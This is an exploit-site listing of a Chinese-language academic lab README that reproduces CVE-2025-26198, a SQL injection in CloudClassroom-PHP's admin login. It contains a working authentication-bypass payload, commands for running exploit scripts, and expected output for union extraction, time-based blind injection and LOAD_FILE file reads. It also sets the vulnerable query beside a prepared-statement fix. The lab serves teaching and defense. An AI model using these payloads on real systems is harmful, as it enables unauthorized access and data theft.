Sploitus

Exploit for CVE-2025-26198

kitploit · 2026-09-01

Exploit Code

MARKDOWN366 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WAILYACOUBI9-CVE-2025-26198
# CVE-2025-26198 - SQL注入演示

**ENSIMAG学术项目 - 3A安全**  
作者:Wail Yacoubi, Mohammed-Yassine Akhmari  
日期:2026年1月

* * *

## 警告

此代码有意包含漏洞,仅供教育用途。  
切勿部署到生产环境。

* * *

## 描述

复现CVE-2025-26198:CloudClassroom-PHP-Project v1.0中的严重SQL注入漏洞。

**CVE特征:**

  * 标识符:CVE-2025-26198
  * CVSS评分:9.8/10(严重)
  * 类型:SQL注入(CWE-89)
  * 受漏洞组件:loginlinkadmin.php
  * 影响:认证绕过 + 完全数据库提取



官方参考:https://nvd.nist.gov/vuln/detail/CVE-2025-26198

* * *

## 目标

演示4种SQL注入利用技术:

  1. 布尔型 - 认证绕过
  2. 联合查询 - 数据提取
  3. 基于时间的盲注 - 通过延迟检测
  4. 文件读取 - 读取系统文件



* * *

## 安装

### 前提条件

  * Docker和Docker Compose
  * Python 3.x
  * 安装requests:`pip install requests`



### 启动

root@kitploit:~
    
    
    # 克隆仓库
    git clone <votre-repo>
    cd CVE-2025-26198
    
    # 启动基础设施
    docker-compose up -d
    
    # 等待MySQL就绪(30秒)
    sleep 30
    
    # 检查容器
    docker-compose ps
    

应用可通过http://localhost:8081访问

* * *

## 利用

### 方法1:手动(浏览器)

  1. 访问http://localhost:8081

  2. 填写表单:

     * 用户名:`admin' OR '1'='1'-- -`
     * 密码:`anything`
  3. 点击登录




结果:管理员登录成功,无需有效密码。

**说明:**

有效载荷将SQL查询转换为:

root@kitploit:~
    
    
    -- 正常查询
    SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
    
    -- 注入后的查询
    SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
    

`OR '1'='1'`始终为真,`-- -`注释掉其余部分。

* * *

### 方法2:Python脚本

#### 简单脚本

root@kitploit:~
    
    
    python exploit_simple.py http://localhost:8081
    

预期输出:

root@kitploit:~
    
    
    CVE-2025-26198 - SQL Injection Exploit
    ==================================================
    [*] Target: http://localhost:8081/loginlinkadmin.php
    [*] Payload: admin' OR '1'='1'-- -
    [+] Exploitation successful
    [+] Status Code: 200
    

* * *

#### 完整脚本(4种技术)

root@kitploit:~
    
    
    python exploit.py http://localhost:8081
    

预期输出:

root@kitploit:~
    
    
    ============================================================
      CVE-2025-26198 - SQL Injection Exploitation
    ============================================================
    
    Test 1: Boolean-based Authentication Bypass
    [+] Authentication bypass SUCCESSFUL
    [+] Admin access obtained without valid credentials
    
    Test 2: Union-based Data Extraction
    [*] Detecting number of columns...
    [+] Number of columns: 5
    [+] Database name: cloudclassroom
    [+] MySQL user: some-email@example.com
    [+] MySQL version: 5.7.44
    [+] Tables: admin,students
    [+] Admin data:
        - admin:some-email@example.com
        - superadmin:some-email@example.com
    
    Test 3: Time-based Blind SQL Injection
    [*] Response time: 3.05 seconds
    [+] Time-based injection CONFIRMED
    
    Test 4: File Read via LOAD_FILE()
    [+] File read SUCCESSFUL
    [+] FILE privilege confirmed
    
    EXPLOITATION SUMMARY
    [✓] Boolean-based (Auth Bypass)
    [✓] Union-based (Data Extraction)
    [✓] Time-based (Blind Detection)
    [✓] File Read (LOAD_FILE)
    

* * *

## 已修补版本

使用预处理语句测试安全版本:

root@kitploit:~
    
    
    # 启用已修补版本
    mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
    mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
    docker-compose restart web
    sleep 3
    
    # 重新测试漏洞利用
    python exploit_simple.py http://localhost:8081
    

预期结果:

root@kitploit:~
    
    
    [-] Error: Connection aborted
    [-] Exploitation failed
    

攻击被输入验证和预处理语句阻止。

恢复有漏洞版本:

root@kitploit:~
    
    
    mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
    mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
    docker-compose restart web
    

* * *

## 版本比较

**有漏洞代码:**

root@kitploit:~
    
    
    $sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
    $result = $conn->query($sql);
    

**安全代码:**

root@kitploit:~
    
    
    $stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
    $stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
    $stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
    $stmt->execute();
    

* * *

## 项目结构

root@kitploit:~
    
    
    CVE-2025-26198/
    ├── README.md
    ├── RAPPORT.md
    ├── docker-compose.yml
    ├── app/
    │   ├── index.html
    │   ├── loginlinkadmin.php          # 有漏洞版本
    │   ├── loginlinkadmin_PATCHED.php  # 安全版本
    │   └── sql/
    │       ├── init.sql
    │       └── grant_file.sql
    ├── exploit.py
    ├── exploit_simple.py
    └── screenshots/
    

* * *

## 故障排除

### Web容器无法启动

root@kitploit:~
    
    
    docker-compose logs web
    docker-compose down
    docker-compose up -d --build
    

### 漏洞利用无效

root@kitploit:~
    
    
    # 检查MySQL
    docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
    
    # 检查web服务
    curl http://localhost:8081
    
    # 检查当前版本
    head -n 2 app/loginlinkadmin.php
    

### 端口已被占用

修改`docker-compose.yml`:

root@kitploit:~
    
    
    ports:
      - "8082:80"
    

* * *

## 文档

参见`RAPPORT.md`了解详细分析,包括:

  * 漏洞机制
  * 系统架构
  * 安全加固建议
  * 开发最佳实践



* * *

## 参考

  * 官方CVE:https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  * 原始项目:https://github.com/mathurvishal/CloudClassroom-PHP-Project
  * OWASP SQL注入:https://owasp.org/www-community/attacks/SQL_Injection
  * PHP PDO:https://www.php.net/manual/en/pdo.prepared-statements.php



* * *

## 免责声明

本项目仅出于教育目的,在ENSIMAG网络安全课程框架下开发。

允许用途:

  * 学习与培训
  * 在授权环境中的测试



禁止用途:

  * 攻击真实系统
  * 恶意使用



任何超出学术范围的使用均被严格禁止且违法。

* * *

**作者**  
Wail Yacoubi & Mohammed-Yassine Akhmari  
ENSIMAG - 2026届  
课程:3A安全